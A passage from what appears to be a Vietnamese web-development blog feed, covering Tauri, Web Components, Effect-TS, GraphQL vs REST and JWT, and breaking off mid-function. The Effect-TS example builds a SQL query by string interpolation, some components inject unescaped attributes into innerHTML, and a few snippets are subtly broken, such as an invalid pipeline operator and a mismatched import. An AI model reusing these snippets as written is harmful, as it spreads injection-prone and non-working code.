const appDir = await resolve(appDataDir())
const configPath = await resolve(appDir, 'config.json')

// Đọc
const config = await readTextFile(configPath)

// Ghi
await writeTextFile(configPath, JSON.stringify({ theme: 'dark' }))

System Tray

use tauri::tray::TrayIconBuilder;
use tauri::menu::{Menu, MenuItem};

fn main() {
    let tray_menu = Menu::with_items([
        MenuItem::with_id("show", "Show")?,
        MenuItem::with_id("quit", "Quit")?,
    ])?;

    tauri::Builder::default()
        .setup(|app| {
            TrayIconBuilder::new()
                .icon(app.default_window_icon().unwrap().clone())
                .menu(&tray_menu)
                .on_menu_event(|app, event| {
                    match event.id.as_ref() {
                        "quit" => app.exit(0),
                        "show" => { /* show window */ }
                        _ => {}
                    }
                })
                .build(app)?;
            Ok(())
        })
        .run(tauri::generate_context!())
}

Window Management

#[tauri::command]
async fn create_window(app: tauri::AppHandle, label: String) {
    let _window = tauri::WebviewWindowBuilder::new(
        &app,
        &label,
        tauri::WebviewUrl::App("index.html".into()),
    )
    .title("New Window")
    .inner_size(800.0, 600.0)
    .build()
    .expect("Failed to create window");
}

// Frontend
import { WebviewWindow } from '@tauri-apps/api/webviewWindow'

const win = new WebviewWindow('settings', {
  url: '/settings',
  width: 600,
  height: 400,
  title: 'Settings',
})

win.once('tauri://created', () => {
  console.log('Window created')
})

win.once('tauri://error', (e) => {
  console.error('Failed:', e)
})

Plugin Ecosystem

# Tauri plugins
npm run tauri add shell # Run shell commands
npm run tauri add fs # File system
npm run tauri add dialog # Native dialogs
npm run tauri add http # HTTP client
npm run tauri add store # Persistent key-value store
npm run tauri add sql # SQLite
npm run tauri add clipboard # Clipboard access
npm run tauri add updater # Auto-update

import { open } from '@tauri-apps/plugin-dialog'

// Native file dialog
const file = await open({
  multiple: false,
  filters: [{ name: 'Images', extensions: ['png', 'jpg'] }],
})

import { Store } from '@tauri-apps/plugin-store'

// Persistent store
const store = await Store.load('settings.json')
await store.set('theme', 'dark')
await store.save()

const theme = await store.get<string>('theme')

Build & Distribute

# Development
npm run tauri dev

# Build cho production
npm run tauri build
# dist/tauri/my-app.dmg (macOS)
# dist/tauri/my-app.msi (Windows)
# dist/tauri/my-app.deb (Linux)
# ~2MB — so với Electron ~200MB

// tauri.conf.json — bundle config
{
  "bundle": {
    "active": true,
    "icon": ["icons/icon.png"],
    "identifier": "com.myapp.app",
    "targets": ["dmg", "msi", "deb", "appimage"]
  },
  "security": {
    "csp": "default-src 'self'; script-src 'self'"
  }
}

Auto-Update

{
  "plugins": {
    "updater": {
      "pubkey": "...",
      "endpoints": [
        "https://releases.myapp.com/{{target}}-{{arch}}/{{current_version}}"
      ]
    }
  }
}

import { check } from '@tauri-apps/plugin-updater'

const update = await check()
if (update?.available) {
  await update.downloadAndInstall()
}

Khi Nào Dùng Tauri?

✅ Nên dùng

Desktop app mới — muốn nhẹ, fast, native
Cross-platform — một codebase cho macOS, Windows, Linux
System tool — cần Rust performance (file processing, network)
Mobile + Desktop — Tauri v2 cho iOS và Android
Security-sensitive — cần sandbox, minimal API access

❌ Không nên

Desktop app cần nhiều Node.js library — Electron ecosystem lớn hơn
Complex native API — Electron có nhiều native module hơn
Prototype nhanh — Electron quen hơn nếu team biết Node
Cần Chromium DevTools mạnh — WebView ít tính năng hơn

Tổng Kết

Tauri là Electron thế hệ mới: web frontend, Rust backend, bundle 1/100 kích thước.

# Tauri app — ~2MB vs Electron ~200MB
npm create tauri-app@latest my-app
cd my-app
npm run tauri dev # Dev với hot reload
npm run tauri build # Bundle ~2MB .dmg/.msi/.deb

| | Electron | Tauri | |---|---|---| | Bundle | ~200MB | ~2MB | | RAM | ~100-200MB | ~20-50MB | | Backend | Node.js | Rust 🦀 | | Security | Thấp | Cao (allowlist) | | Mobile | ❌ | ✅ (Tauri v2) | | Build time | 1-2 phút | 2-5 phút (+ Rust compile) |

Tauri không thay thế Electron mọi lúc — nhưng cho 80% desktop app, bundle nhỏ hơn 100x, memory ít hơn 5x là lợi thế khó bỏ qua.

Tài liệu tham khảo

Web Components — Component Native Không Cần Framework

Sun, 05 Jul 2026 00:00:00 GMT

Web Components là tiêu chuẩn browser cho phép tạo reusable component — không cần framework nào.

<!-- Dùng component — chỉ là HTML tag -->
<star-rating value="4" max="5"></star-rating>
<user-avatar src="/avatar.jpg" size="large"></user-avatar>
<confirm-dialog>
  Bạn chắc chắn muốn xoá?
</confirm-dialog>

Chạy trong mọi browser hiện đại, kết hợp được với React/Vue/Svelte/Astro.

Core Technologies

Web Components gồm 3 tiêu chuẩn:

Custom Elements  →  Định nghĩa HTML tag mới
Shadow DOM       →  Encapsulation (style + DOM riêng)
HTML Templates   →  Declarative markup (slot, template)

Custom Elements

Định nghĩa

class StarRating extends HTMLElement {
  constructor() {
    super()
    this._value = 0
    this._max = 5
  }

  // Attribute nào được observe
  static get observedAttributes() {
    return ['value', 'max']
  }

  // Khi attribute thay đổi
  attributeChangedCallback(name, oldValue, newValue) {
    if (name === 'value') this._value = parseInt(newValue)
    if (name === 'max') this._max = parseInt(newValue)
    this.render()
  }

  // Gọi khi element được thêm vào DOM
  connectedCallback() {
    this.render()
  }

  render() {
    this.innerHTML = ''
    for (let i = 1; i <= this._max; i++) {
      const star = document.createElement('span')
      star.textContent = i <= this._value ? '★' : '☆'
      star.style.cursor = 'pointer'
      star.addEventListener('click', () => {
        this.setAttribute('value', i)
        this.dispatchEvent(new CustomEvent('rate', { detail: i }))
      })
      this.appendChild(star)
    }
  }
}

customElements.define('star-rating', StarRating)

Dùng

<star-rating value="3" max="5"></star-rating>

<script>
  document.querySelector('star-rating')
    .addEventListener('rate', (e) => {
      console.log('Rated:', e.detail)
    })
</script>

Lifecycle

class LifecycleDemo extends HTMLElement {
  constructor() {
    super()
    console.log('1. constructor — khởi tạo state')
  }

  connectedCallback() {
    console.log('2. connectedCallback — thêm vào DOM')
    // Setup event listeners, fetch data
  }

  disconnectedCallback() {
    console.log('3. disconnectedCallback — xoá khỏi DOM')
    // Cleanup: remove listeners, release resources
  }

  attributeChangedCallback(name, oldVal, newVal) {
    console.log(`4. attributeChanged: ${name} ${oldVal} → ${newVal}`)
  }

  adoptedCallback() {
    console.log('5. adoptedCallback — move between documents')
  }

  static get observedAttributes() {
    return ['disabled', 'value', 'label']
  }
}

Shadow DOM

Shadow DOM cô lập style và DOM — không bị ảnh hưởng bởi CSS global.

class UserCard extends HTMLElement {
  constructor() {
    super()
    // Attach shadow root — DOM riêng, style riêng
    this.attachShadow({ mode: 'open' })
  }

  connectedCallback() {
    const name = this.getAttribute('name') || 'Guest'
    const avatar = this.getAttribute('avatar') || '/default-avatar.png'

    this.shadowRoot.innerHTML = `
      <style>
        /* Style này chỉ áp dụng trong shadow DOM */
        .card {
          border: 1px solid #ddd;
          border-radius: 8px;
          padding: 16px;
          display: flex;
          align-items: center;
          gap: 12px;
          font-family: system-ui;
        }
        img {
          width: 48px;
          height: 48px;
          border-radius: 50%;
          object-fit: cover;
        }
        .name {
          font-weight: 600;
          font-size: 16px;
        }
        .role {
          color: #666;
          font-size: 14px;
        }
      </style>

      <div class="card">
        <img src="${avatar}" alt="${name}">
        <div>
          <div class="name">${name}</div>
          <div class="role"><slot name="role">User</slot></div>
        </div>
      </div>
    `
  }
}

customElements.define('user-card', UserCard)

<!-- CSS global không ảnh hưởng đến card -->
<style>
  .card { background: red; }  /* Không ảnh hưởng */
  img { filter: blur(10px); } /* Không ảnh hưởng */
</style>

<user-card name="Alice" avatar="/alice.jpg">
  <span slot="role">Admin</span>
</user-card>

Slots

Slot cho phép component nhận children từ bên ngoài:

class ConfirmDialog extends HTMLElement {
  constructor() {
    super()
    this.attachShadow({ mode: 'open' })
  }

  connectedCallback() {
    const title = this.getAttribute('title') || 'Confirm'

    this.shadowRoot.innerHTML = `
      <style>
        .overlay {
          position: fixed;
          inset: 0;
          background: rgba(0,0,0,0.5);
          display: flex;
          align-items: center;
          justify-content: center;
        }
        .dialog {
          background: white;
          border-radius: 12px;
          padding: 24px;
          min-width: 300px;
          box-shadow: 0 20px 60px rgba(0,0,0,0.3);
        }
        h2 { margin: 0 0 16px; }
        .actions { display: flex; gap: 8px; justify-content: flex-end; margin-top: 16px; }
        button {
          padding: 8px 16px;
          border-radius: 6px;
          border: 1px solid #ddd;
          cursor: pointer;
        }
        .confirm { background: #0066ff; color: white; border: none; }
      </style>

      <div class="overlay" part="overlay">
        <div class="dialog">
          <h2>${title}</h2>
          <slot></slot>  <!-- Nội dung từ bên ngoài -->
          <div class="actions">
            <button class="cancel" part="cancel-btn">Cancel</button>
            <button class="confirm" part="confirm-btn">Confirm</button>
          </div>
        </div>
      </div>
    `

    this.shadowRoot.querySelector('.cancel')
      .addEventListener('click', () => {
        this.dispatchEvent(new CustomEvent('cancel'))
        this.remove()
      })

    this.shadowRoot.querySelector('.confirm')
      .addEventListener('click', () => {
        this.dispatchEvent(new CustomEvent('confirm'))
        this.remove()
      })
  }
}

customElements.define('confirm-dialog', ConfirmDialog)

<confirm-dialog title="Delete Post" id="dialog">
  <p>Bạn có chắc muốn xoá bài viết này?</p>
  <p style="color: red;">Hành động này không thể hoàn tác.</p>
</confirm-dialog>

<script>
  const dialog = document.getElementById('dialog')
  dialog.addEventListener('confirm', () => deletePost(postId))
  dialog.addEventListener('cancel', () => console.log('Cancelled'))
</script>

HTML Template

<!-- Template — không render cho đến khi dùng -->
<template id="tooltip-template">
  <style>
    .tooltip {
      background: #333;
      color: white;
      padding: 8px 12px;
      border-radius: 6px;
      font-size: 14px;
      position: absolute;
      z-index: 1000;
      white-space: nowrap;
    }
  </style>
  <div class="tooltip">
    <slot></slot>
  </div>
</template>

class TooltipElement extends HTMLElement {
  connectedCallback() {
    const template = document.getElementById('tooltip-template')
    const clone = template.content.cloneNode(true)
    this.appendChild(clone)

    const text = this.getAttribute('text') || ''
    this.querySelector('.tooltip').textContent = text
  }
}

customElements.define('tooltip-element', TooltipElement)

State Management

class CounterElement extends HTMLElement {
  constructor() {
    super()
    this.attachShadow({ mode: 'open' })
    this._count = 0
  }

  connectedCallback() {
    this.render()
  }

  render() {
    this.shadowRoot.innerHTML = `
      <style>
        :host { display: inline-flex; align-items: center; gap: 8px; }
        button {
          width: 32px; height: 32px;
          border: 1px solid #ddd;
          border-radius: 6px;
          cursor: pointer;
          font-size: 18px;
        }
        span { font-size: 18px; min-width: 40px; text-align: center; }
      </style>
      <button id="dec">−</button>
      <span>${this._count}</span>
      <button id="inc">+</button>
    `

    this.shadowRoot.getElementById('inc')
      .addEventListener('click', () => {
        this._count++
        this.render()
        this.dispatchEvent(new CustomEvent('change', {
          detail: this._count,
        }))
      })

    this.shadowRoot.getElementById('dec')
      .addEventListener('click', () => {
        this._count--
        this.render()
        this.dispatchEvent(new CustomEvent('change', {
          detail: this._count,
        }))
      })
  }
}

customElements.define('counter-element', CounterElement)

Tích Hợp Với Framework

Web Components tương thích mọi framework:

// React — dùng như HTML tag thường
function App() {
  return (
    <div>
      <star-rating value={rating} max={5}
        onRate={(e) => setRating(e.detail)}
      />
      <user-card name="Alice" avatar="/alice.jpg" />
    </div>
  )
}

<!-- Svelte -->
<counter-element
  on:change={(e) => count = e.detail}
/>

<!-- Astro — zero JS mặc định -->
---
import Layout from '../layouts/Layout.astro'
---

<Layout>
  <star-rating value="4" max="5" />
  <user-card name="Alice" avatar="/alice.jpg">
    <span slot="role">Admin</span>
  </user-card>
</Layout>

Lit — Thư Viện Cho Web Components

Lit giúp viết Web Components dễ hơn:

import { LitElement, html, css } from 'lit'
import { customElement, property } from 'lit/decorators.js'

@customElement('my-button')
export class MyButton extends LitElement {
  static styles = css`
    button {
      background: #0066ff;
      color: white;
      border: none;
      padding: 8px 16px;
      border-radius: 6px;
      cursor: pointer;
      &:hover { opacity: 0.9; }
    }
  `

  @property({ type: String }) variant: 'primary' | 'danger' = 'primary'

  render() {
    return html`<button class=${this.variant}>
      <slot></slot>
    </button>`
  }
}

<my-button variant="danger">Delete</my-button>

Khi Nào Dùng Web Components?

✅ Nên dùng

Design system / Component library — dùng được mọi framework
Micro-frontend — team khác nhau dùng framework khác nhau
Embedded widget — third-party widget chạy trong trang bất kỳ
Legacy app — thêm component mới vào app jQuery/SPA cũ
Framework-agnostic library — muốn ai cũng dùng được

❌ Không nên

App chính — React/Vue/Svelte có developer experience tốt hơn
Complex state — Web Components không có state management built-in
SSR — Web Components cần JavaScript để hydrate
Small team, one framework — không cần abstraction này

Tổng Kết

Web Components là tiêu chuẩn, không phải thư viện. Nó giải quyết bài toán "component dùng được ở mọi nơi".

// Web Component — 3 API, không dependency
customElements.define('my-component', MyComponent)
this.attachShadow({ mode: 'open' })
<slot></slot>

| Tiêu chí | React/Vue/Svelte | Web Components | |---|---|---| | Dependencies | ~10-40KB runtime | 0KB — browser API | | Học | Framework-specific | HTML/CSS/JS thuần | | Reuse | Cùng framework | Mọi framework | | SSR | ✅ | ❌ (cần JS) | | Shadow DOM | ❌ | ✅ Native | | State | Built-in | Tự làm | | Build step | ✅ | Có thể không cần |

Web Components không thay thế framework — nó là lớp tương thích giữa các framework. Dùng cho component dùng chung, design system, widget third-party.

Tài liệu tham khảo

Effect-TS — Functional Error Handling Cho TypeScript

Sat, 04 Jul 2026 00:00:00 GMT

Effect-TS là thư viện functional cho TypeScript — giải quyết 3 vấn đề: error handling type-safe, dependency injection, và effect composition.

import { Effect } from 'effect'

// Effect<Success, Error, Requirements>
const program: Effect.Effect<string, Error, never> = Effect.sync(() => {
  return 'Hello, Effect!'
})

Effect.runSync(program) // "Hello, Effect!"

Không throw, không try/catch mất type. Mọi lỗi đều được type annotations.

Vấn Đề try/catch

// ❌ TypeScript không biết function này throw gì
async function getUser(id: string) {
  const res = await fetch(`/api/users/${id}`)
  if (!res.ok) throw new Error('API error')
  return res.json()
}

// Dùng:
try {
  const user = await getUser('123')
  // user: any — mất type
} catch (e) {
  // e: unknown — không biết lỗi gì
}

// ✅ Effect biết chính xác error type
const getUser = (id: string): Effect.Effect<User, ApiError, never> =>
  Effect.tryPromise({
    try: () => fetch(`/api/users/${id}`).then(r => r.json()),
    catch: () => new ApiError('Failed to fetch'),
  })

// Dùng:
const result = Effect.runSync(getUser('123'))
// result: User — type-safe
// Nếu lỗi: compile-time biết là ApiError

Core Types

Effect

// Effect<Success, Error, Requirements>
type Effect<A, E, R>

// A — kiểu trả về khi thành công
// E — kiểu lỗi
// R — dependencies cần (DI)

// never = không có lỗi / không cần DI
Effect<string, never, never>  // Luôn thành công, không cần DI
Effect<string, Error, never>  // Có thể lỗi, không cần DI
Effect<string, never, Config> // Cần Config service, không lỗi
Effect<string, Error, Config> // Có thể lỗi, cần Config

Option

import { Option } from 'effect'

// Option = Some | None — thay thế null/undefined
const maybe = Option.some('hello')  // Option<string>
const none = Option.none()          // Option<never>

Option.match(maybe, {
  onNone: () => 'nothing',
  onSome: (v) => `got ${v}`,
})

Either

import { Either } from 'effect'

// Either<Left, Right> — Left = lỗi, Right = thành công
const success: Either.Either<string, number> = Either.right(42)
const failure: Either.Either<string, number> = Either.left('error')

Building Effects

import { Effect } from 'effect'

// sync — không lỗi
const hello = Effect.sync(() => 'Hello')
// Effect<string, never, never>

// try — có thể lỗi
const parse = Effect.try(() => JSON.parse(input))
// Effect<unknown, unknown, never>

// promise
const fetchUser = Effect.promise(() =>
  fetch('/api/user').then(r => r.json())
)
// Effect<unknown, never, never>

// tryPromise — promise có thể lỗi
const safeFetch = Effect.tryPromise({
  try: () => fetch('/api/user').then(r => r.json()),
  catch: (e) => new FetchError(e),
})
// Effect<unknown, FetchError, never>

Composing Effects

map / flatMap

const greet = Effect.sync(() => 'World')
  .pipe(
    Effect.map((name) => `Hello, ${name}!`),
    Effect.map((msg) => msg.toUpperCase()),
  )
// Effect<string, never, never>

const program = Effect.sync(() => 'user-1')
  .pipe(
    Effect.flatMap((id) => fetchUser(id)),  // Effect<User, Error, never>
    Effect.map((user) => user.name),
  )

Gen (giống async/await)

const program = Effect.gen(function* () {
  const user = yield* fetchUser('123')
  const posts = yield* fetchPosts(user.id)
  return { user, posts }
})
// Effect<{ user: User; posts: Post[] }, Error, never>

Giống async/await nhưng type-safe — biết chính xác error type ở mỗi step.

All (song song)

const [user, posts, comments] = yield* Effect.all([
  fetchUser('123'),
  fetchPosts('123'),
  fetchComments('123'),
], { concurrency: 3 })
// Chạy song song 3 request

Error Handling

catchAll / catchTag

const program = fetchUser('123').pipe(
  Effect.catchAll((error) =>
    Effect.sync(() => ({ id: 'default', name: 'Guest' }))
  ),
)

// Catch theo tag (discriminated union)
Effect.catchTag(program, 'NotFound', (error) =>
  Effect.sync(() => ({ id: 'guest', name: 'Guest' }))
)

retry

const program = fetchUser('123').pipe(
  Effect.retry({
    times: 3,
    delay: (attempt) => 1000 * Math.pow(2, attempt),  // Exponential backoff
  }),
)

timeout

const program = fetchUser('123').pipe(
  Effect.timeout('5 seconds'),
  Effect.catchTag('TimeoutException', () =>
    Effect.sync(() => fallbackUser)
  ),
)

Dependency Injection

import { Context, Effect } from 'effect'

// 1. Định nghĩa service
class Database extends Context.Tag('Database')<
  Database,
  {
    query: (sql: string) => Effect.Effect<unknown, DbError, never>
  }
>() {}

// 2. Dùng service
const getUser = (id: string) =>
  Effect.gen(function* () {
    const db = yield* Database  // Inject từ context
    const user = yield* db.query(`SELECT * FROM users WHERE id = ${id}`)
    return user
  })
// Effect<unknown, DbError, Database>
//                        ↑ cần Database service

// 3. Cung cấp implementation
const liveDb = Database.of({
  query: (sql) => Effect.tryPromise(() => pool.query(sql)),
})

const program = getUser('123').pipe(
  Effect.provideService(Database, liveDb),
)
// Effect<unknown, DbError, never>
//                        ↑ đã cung cấp DI → never

Dependency được xử lý ở compile-time và runtime — không cần decorator, không global state.

Schema

Effect-Schema cho validation + serialization type-safe:

import { Schema } from 'effect'

const UserSchema = Schema.Struct({
  id: Schema.Number,
  name: Schema.String,
  email: Schema.String.pipe(Schema.email()),
  age: Schema.Number.pipe(Schema.positive(), Schema.int()),
  role: Schema.Literal('admin', 'user'),
})

type User = Schema.Schema.Type<typeof UserSchema>
// { id: number; name: string; email: string; age: number; role: 'admin' | 'user' }

// Decode — validate + parse
const result = Schema.decodeEither(UserSchema)(input)
if (Either.isRight(result)) {
  console.log(result.right.name)  // ✅ Type-safe
}

// Encode — serialize
const encoded = Schema.encodeSync(UserSchema)(user)

Fiber (Concurrency)

import { Effect, Fiber } from 'effect'

// Fork — chạy concurrent
const fiber = yield* Effect.fork(longRunningTask)

// Làm việc khác...
yield* otherWork()

// Join — đợi kết quả
const result = yield* Fiber.join(fiber)

// Hoặc race
const winner = yield* Effect.race(fetchFromApi, fetchFromCache)

Resource Management

import { Effect } from 'effect'

// Scope — tự động giải phóng resource
const program = Effect.acquireRelease(
  Effect.sync(() => openFile('data.txt')),     // acquire
  (file) => Effect.sync(() => file.close()),    // release
).pipe(
  Effect.flatMap((file) => file.read()),
)
// Dù thành công hay lỗi → release luôn chạy

Practical Example

import { Effect, Schema, pipe } from 'effect'

// Schema
const TodoSchema = Schema.Struct({
  id: Schema.Number,
  title: Schema.String.pipe(Schema.nonEmpty()),
  completed: Schema.Boolean,
  userId: Schema.Number,
})

type Todo = Schema.Schema.Type<typeof TodoSchema>

// Service
class TodoApi extends Context.Tag('TodoApi')<
  TodoApi,
  {
    getTodo: (id: number) => Effect.Effect<Todo, ApiError, never>
  }
>() {}

class ApiError {
  readonly _tag = 'ApiError'
  constructor(readonly message: string) {}
}

// Implementation
const liveTodoApi = TodoApi.of({
  getTodo: (id) =>
    Effect.tryPromise({
      try: () =>
        fetch(`https://jsonplaceholder.typicode.com/todos/${id}`)
          .then((r) => {
            if (!r.ok) throw new Error(`HTTP ${r.status}`)
            return r.json()
          }),
      catch: (e) => new ApiError(String(e)),
    }).pipe(
      Effect.flatMap((data) =>
        Schema.decodeEither(TodoSchema)(data)
          |> Either.mapLeft(() => new ApiError('Invalid response'))
          |> Effect.fromEither
      ),
    ),
})

// Program
const program = Effect.gen(function* () {
  const api = yield* TodoApi
  const todo = yield* api.getTodo(1)
  return `Todo: ${todo.title} (${todo.completed ? 'done' : 'pending'})`
}).pipe(
  Effect.provideService(TodoApi, liveTodoApi),
  Effect.retry({ times: 2 }),
  Effect.timeout('10 seconds'),
  Effect.catchAll((err) =>
    Effect.sync(() => `Error: ${err.message}`)
  ),
)

// Run
const result = Effect.runPromise(program)
// "Todo: delectus aut autem (pending)"

Khi Nào Dùng Effect-TS?

✅ Nên dùng

Backend service — error handling + DI type-safe
Data pipeline — nhiều step, cần retry/timeout
Domain-driven design — typed errors là first-class
Large TypeScript codebase — cần kiểm soát error flow

❌ Không nên

Small project — boilerplate không đáng
Frontend app đơn giản — React Query xử lý được
Team không quen FP — learning curve cao
Quick prototype — throw + try/catch nhanh hơn

Tổng Kết

Effect-TS biến error handling từ runtime thành compile-time concern.

// ❌ Try/catch
function divide(a: number, b: number): number {
  if (b === 0) throw new DivideByZeroError()
  return a / b
}
// TypeScript: number — nhưng thực tế có thể throw

// ✅ Effect
function divide(a: number, b: number): Effect.Effect<number, DivideByZeroError, never> {
  return b === 0
    ? Effect.fail(new DivideByZeroError())
    : Effect.sync(() => a / b)
}
// TypeScript: Effect<number, DivideByZeroError, never> — chính xác

| | try/catch | Effect | |---|---|---| | Error type | unknown | Type-safe | | Composition | Try/catch lồng nhau | .pipe, flatMap, gen | | Retry | Tự viết | .retry() | | Timeout | Promise.race | .timeout() | | DI | Constructor/DI container | Context.Tag | | Concurrency | Promise.all | Effect.all, Fiber | | Resource | try/finally | acquireRelease | | Schema | Zod/zod validation | Schema + Effect |

Effect-TS không phải cho mọi project. Cho backend TypeScript phức tạp, nó thay đổi cách bạn nghĩ về error handling.

Tài liệu tham khảo

GraphQL vs REST — Khi Nào Dùng Cái Nào?

Sat, 04 Jul 2026 00:00:00 GMT

REST là tiêu chuẩn API truyền thống. GraphQL là "REST killer" được Facebook tạo ra. Bài này sẽ giúp bạn quyết định dùng cái nào.

REST API — Quen Thuộc, Đơn Giản

GET /users/1
→ { "id": 1, "name": "Alice", "email": "alice@example.com" }

GET /users/1/posts
→ [{ "id": 10, "title": "Hello" }]

REST Ưu Điểm

Đơn giản, dễ hiểu, dùng đúng HTTP semantics
Cache dễ dàng (URL là cache key)
Tooling phong phú (bất kỳ HTTP client nào)
Dễ versioning (/api/v1/)

REST Nhược Điểm

Over-fetching — API trả về nhiều field hơn cần
Under-fetching — cần gọi nhiều endpoint để có đủ data
Khó thay đổi — thêm field có thể break client
N+1 problem — gọi API trong loop

GraphQL — Linh Hoạt, Chính Xác

query {
  user(id: 1) {
    name
    email
    posts {
      title
    }
  }
}

{
  "data": {
    "user": {
      "name": "Alice",
      "email": "alice@example.com",
      "posts": [{ "title": "Hello" }]
    }
  }
}

GraphQL Ưu Điểm

Client quyết định — lấy đúng field cần
Một request — lấy user + posts + comments trong 1 lần
Strongly typed — schema là hợp đồng giữa client và server
Tự động docs — GraphiQL/GraphQL Playground

GraphQL Nhược Điểm

Cache phức tạp — không dùng URL cache được
Rate limiting khó — một request có thể trigger nhiều resolver
N+1 — resolver lồng nhau có thể gọi DB nhiều lần (cần DataLoader)
Learning curve — cần hiểu schema, resolver, query optimization

So Sánh Chi Tiết

| Tiêu chí | REST | GraphQL | |---|---|---| | Data fetching | Server quyết định | Client quyết định | | Cache | URL-based (dễ) | Complex (cần tool) | | Versioning | URL path | Evolve schema | | File upload | Multipart | Cần thư viện | | Tooling | Browser, curl, Postman | GraphiQL, Apollo DevTools | | Performance | Dễ predict | Khó predict (nested query) | | Real-time | SSE, WebSocket riêng | Subscription built-in | | Complexity | Thấp | Trung bình-Cao |

Khi Nào Dùng REST

API đơn giản, CRUD basic
Public API cho bên thứ ba
File upload/download nhiều
Microservice internal communication
Cache là yêu cầu quan trọng

Khi Nào Dùng GraphQL

Dashboard/UI phức tạp, nhiều loại data
Mobile app (băng thông hạn chế)
Nhiều client khác nhau (web, mobile, IoT)
Bạn muốn schema làm single source of truth

Thực Tế — Hybrid

Không nhất thiết phải chọn 1. Nhiều công ty dùng cả hai:

Public API → REST (ổn định, cache tốt)
Internal API → GraphQL (linh hoạt cho nhiều client)

Hoặc: REST cho CRUD đơn giản, GraphQL cho complex query.

Triển Khai GraphQL

Server với Yoga (Node.js)

import { createYoga, createSchema } from 'graphql-yoga';
import { createServer } from 'node:http';

const schema = createSchema({
  typeDefs: `
    type Query {
      user(id: ID!): User
      posts(limit: Int): [Post]
    }

    type User {
      id: ID!
      name: String!
      email: String!
      posts: [Post]
    }

    type Post {
      id: ID!
      title: String!
      content: String!
    }
  `,
  resolvers: {
    Query: {
      user: (_, { id }) => db.getUser(id),
      posts: (_, { limit }) => db.getPosts(limit),
    },
    User: {
      posts: (parent) => db.getPostsByUser(parent.id),
    },
  },
});

const server = createServer(createYoga({ schema }));
server.listen(4000);

DataLoader — Giải Quyết N+1

import DataLoader from 'dataloader';

const postLoader = new DataLoader(async (userIds: number[]) => {
  const posts = await db.getPostsByUsers(userIds);
  // Group by userId
  return userIds.map(id => posts.filter(p => p.userId === id));
});

const resolvers = {
  User: {
    posts: (parent) => postLoader.load(parent.id),
  },
};

Bảo Mật GraphQL

// Giới hạn độ sâu query
import depthLimit from 'graphql-depth-limit';

const yoga = createYoga({
  schema,
  plugins: [
    useDepthLimit({ maxDepth: 5 }),
  ],
});

// Giới hạn complexity
const schema = createSchema({
  typeDefs: `
    type Query {
      users: [User] @complexity(value: 10)
      expensiveQuery: Data @complexity(value: 100)
    }
  `,
});

Kết Luận

REST và GraphQL không phải kẻ thù — mỗi cái có chỗ đứng riêng. REST cho đơn giản, ổn định. GraphQL cho linh hoạt, hiệu quả. Chọn theo nhu cầu.

Nếu bạn chưa biết bắt đầu — chọn REST. Khi REST đau quá (over-fetching, multiple round trips), hãy nghĩ đến GraphQL.

Tài liệu tham khảo

JSON Web Token (JWT) — Từ Cấu Trúc Đến Implementation

Sat, 04 Jul 2026 00:00:00 GMT

JWT (JSON Web Token) là chuẩn token compact dùng cho authentication. Self-contained — mọi thông tin đều trong token, không cần session store.

Cấu Trúc JWT

JWT gồm 3 phần, cách nhau bởi dấu chấm:

header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFsaWNlIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header

{
  "alg": "HS256",    // Thuật toán sign
  "typ": "JWT"       // Type
}

Payload (Claims)

{
  "sub": "user_123",         // Subject — user ID
  "name": "Alice",
  "role": "admin",
  "iat": 1516239022,         // Issued at
  "exp": 1516242622,         // Expiration
  "iss": "myapp.com",       // Issuer
  "aud": "api.myapp.com"    // Audience
}

Signature

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret
)

Signing Algorithms

HS256 — Symmetric (HMAC + SHA256)

import jwt from 'jsonwebtoken';

const secret = process.env.JWT_SECRET!; // Shared secret

const token = jwt.sign(
  { userId: 123, role: 'admin' },
  secret,
  { expiresIn: '15m' }
);

const decoded = jwt.verify(token, secret);

Ưu: Nhanh, đơn giản. Nhược: Secret phải share giữa các service — nếu leak, tất cả đều ảnh hưởng.

RS256 — Asymmetric (RSA + SHA256)

import jwt from 'jsonwebtoken';
import fs from 'fs';

const privateKey = fs.readFileSync('private.pem');
const publicKey = fs.readFileSync('public.pem');

// Sign với private key (chỉ auth server làm)
const token = jwt.sign(
  { userId: 123 },
  privateKey,
  { algorithm: 'RS256', expiresIn: '15m' }
);

// Verify với public key (bất kỳ service nào)
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Ưu: Public key ai cũng có, private key chỉ auth server biết. Nhược: Chậm hơn HMAC, key pair management.

ES256 — Elliptic Curve (ECDSA)

# Tạo key pair
openssl ecparam -genkey -name prime256v1 -noout -out private.pem
openssl ec -in private.pem -pubout -out public.pem

Ưu: Chữ ký nhỏ hơn RSA, nhanh hơn, bảo mật tương đương.

Refresh Token Rotation

interface TokenPair {
  accessToken: string;
  refreshToken: string;
  refreshTokenId: string;
}

async function generateTokens(userId: number): Promise<TokenPair> {
  const refreshTokenId = crypto.randomUUID();

  const accessToken = jwt.sign(
    { userId, type: 'access' },
    process.env.JWT_SECRET!,
    { expiresIn: '15m' }
  );

  const refreshToken = jwt.sign(
    { userId, tokenId: refreshTokenId, type: 'refresh' },
    process.env.REFRESH_SECRET!,
    { expiresIn: '7d' }
  );

  // Lưu refresh token trong DB — có thể revoke
  await db.refreshTokens.create({
    data: {
      id: refreshTokenId,
      userId,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
    },
  });

  return { accessToken, refreshToken, refreshTokenId };
}

async function refreshAccessToken(refreshToken: string): Promise<TokenPair> {
  try {
    const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET!) as any;

    // Kiểm tra token còn trong DB không (có thể đã revoke)
    const stored = await db.refreshTokens.findUnique({
      where: { id: decoded.tokenId },
    });
    if (!stored) throw new Error('Token revoked');

    // Rotation — xoá token cũ, tạo token mới
    await db.refreshTokens.delete({ where: { id: decoded.tokenId } });
    return generateTokens(decoded.userId);
  } catch {
    throw new UnauthorizedError('Invalid refresh token');
  }
}

JWT Blacklist

Khi user logout — access token vẫn còn hạn. Dùng blacklist (Redis):

// Logout — thêm token vào blacklist
async function logout(tokenId: string, expiresAt: number) {
  const ttl = expiresAt - Math.floor(Date.now() / 1000);
  if (ttl > 0) {
    await redis.set(`blacklist:${tokenId}`, 'true', 'EX', ttl);
  }
}

// Middleware kiểm tra blacklist
async function authenticate(req: Request, res: Response, next: NextFunction) {
